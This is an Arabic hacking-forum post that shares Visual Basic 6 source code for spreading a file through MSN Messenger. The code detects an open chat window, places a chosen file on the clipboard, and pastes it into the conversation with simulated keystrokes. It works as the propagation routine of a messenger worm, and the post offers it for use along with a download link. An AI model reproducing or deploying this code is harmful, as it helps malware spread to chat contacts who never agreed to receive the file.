Mclights
;nbsp&
عدد المساهمات : 61
نقاط : 23787
تاريخ التسجيل : 24/05/2011
 |  موضوع: ~|ْ~.:::قنــــبلة Blabla.3oloum avec Mclights~ْ|:: كود الانتشار بال Msn بجميع اصداراته~|ٍ...  الإثنين يوليو 25, 2011 7:48 am | |
|
صبـآح / مسـآء الخيــر , !~ ( كيــف حآلكم آخبـآركم حبآيبي ...
آن شآء الله بآلف صحـه وخيـر وعآفيـه ! ؟
ندخـل بالموضوع على طول
وآتمـنى آن ينـآل على آعجـآبكم ,, ــ !
موضوعـي اليـوم يتـكلم على
كود للانتشار بال Msn
نبدا على بركة الله بالشرح
شرح اضافة الاكواد
شرح اضافة الاكواد سهل جداااااا والكل يعرف
وهناك اضافات ليشتغل الكود
عليكم اكتشافها بانفسكم سعيا للرقي بالمنتدى والتطور
مع الاكود
كود:
Private Declare Sub Sleep Lib "kernel32" (ByVal lngMilliseconds As Long) Public Type POINTAPI x As Long y As Long End Type Public Declare Function GetForegroundWindow Lib "user32" () As Long Public Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal Hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long Private Declare Function DragQueryFile Lib "****************l32.dll" Alias "DragQueryFileA" (ByVal hDrop As Long, ByVal UINT As Long, ByVal lpStr As String, ByVal ch As Long) As Long Private Declare Function GlobalAlloc Lib "kernel32" (ByVal wFlags As Long, ByVal dwBytes As Long) As Long Private Declare Function GlobalLock Lib "kernel32" (ByVal hMem As Long) As Long Private Declare Function GlobalUnlock Lib "kernel32" (ByVal hMem As Long) As Long Private Declare Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long) Private Declare Function EmptyClipboard Lib "user32" () As Long Private Declare Function OpenClipboard Lib "user32" (ByVal Hwnd As Long) As Long Private Declare Function CloseClipboard Lib "user32" () As Long Private Declare Function SetClipboardData Lib "user32" (ByVal wFormat As Long, ByVal hMem As Long) As Long Private Declare Function GetClipboardData Lib "user32" (ByVal wFormat As Long) As Long Private Declare Function IsClipboardFormatAvailable Lib "user32" (ByVal wFormat As Long) As Long Private Const GHND = &H42 Private Const CF_HDROP = &HF Private Const GET_DROP_COUNT = &HFFFFFFFF Private Type DROPFILES pFiles As Long pt As POINTAPI fNC As Long fWide As Long End Type Dim iCounter As Integer Dim DF As DROPFILES Dim strFiles As String Dim hGlobal As Long Dim lpGlobal As Long Dim hDrop As Long Dim lFiles As Long Dim strFile As String Public Function Spread(PathToFile As String) Dim cClass As String Dim cWind As Long cClass = Space(255) cWind = GetForegroundWindow cWind = GetClassName(cWind, cClass, 255) cClass = Left(cClass, cWind) If Trim(cClass) = "IMWindowClass" Then Sleep 500 CopyFileToMem PathToFile PastFile CopyFileToMem PathToFile PastFile Call SendKeys("^v") End If End Function Function CopyFileToMem(PathToTehFileS As String) If OpenClipboard(frmMain.Hwnd) = 0 Then CloseClipboard Exit Function End If EmptyClipboard strFiles = PathToTehFileS & vbNullChar hGlobal = GlobalAlloc(GHND, Len(DF) + Len(strFiles)) If hGlobal Then lpGlobal = GlobalLock(hGlobal) DF.pFiles = Len(DF) Call CopyMem(ByVal lpGlobal, DF, Len(DF)) Call CopyMem(ByVal (lpGlobal + Len(DF)), ByVal strFiles, Len(strFiles)) Call GlobalUnlock(hGlobal) SetClipboardData CF_HDROP, hGlobal End If CloseClipboard End Function Function PastFile() If IsClipboardFormatAvailable(CF_HDROP) = 0 Then Exit Function If OpenClipboard(frmMain.Hwnd) = 0 Then CloseClipboard Exit Function End If hDrop = GetClipboardData(CF_HDROP) lFiles = DragQueryFile(hDrop, -1&, "", 0) strFile = Space(260) For iCounter = 0 To lFiles - 1 Call DragQueryFile(hDrop, iCounter, strFile, Len(strFile)) Next CloseClipboard End Function
هاذا هو الكود الذي ينتشر بجميع اصدارات ال Msn
رابط التحميل على شكل txt
http://www.mirrorcreator.com/files/18EPL4LE/
كما قلت عليكم اكتشاف الاضافات بانفسكم
والسلام عليكم
في الاخير
الاهداءات :
Rafah
elwaleed
DZ--DZ
mouadh koki
YasS!n£E
мя.ѕαqея
!Hackon!
AL-3NEED
Black-ID
CaTmAn
احلم على قدك
برنامج وهمي
faycel23kb
gzooola
hajji haji
korabikaman
majed alomary
Mic-Professional
oхіјєή
px2
VaLY
إْسف إْذآ نسيت إْحد بالاهدـآء وإْتمنىآ إْكوٍن وفقت في الطرٍح
لتقدير تعبي اضغط
هنافي الختـٍآم إْتمنىآ الدعـآء لي ولأبي ووإْمي محبكم : Chalcer في إْمآن الله [center] | |
|
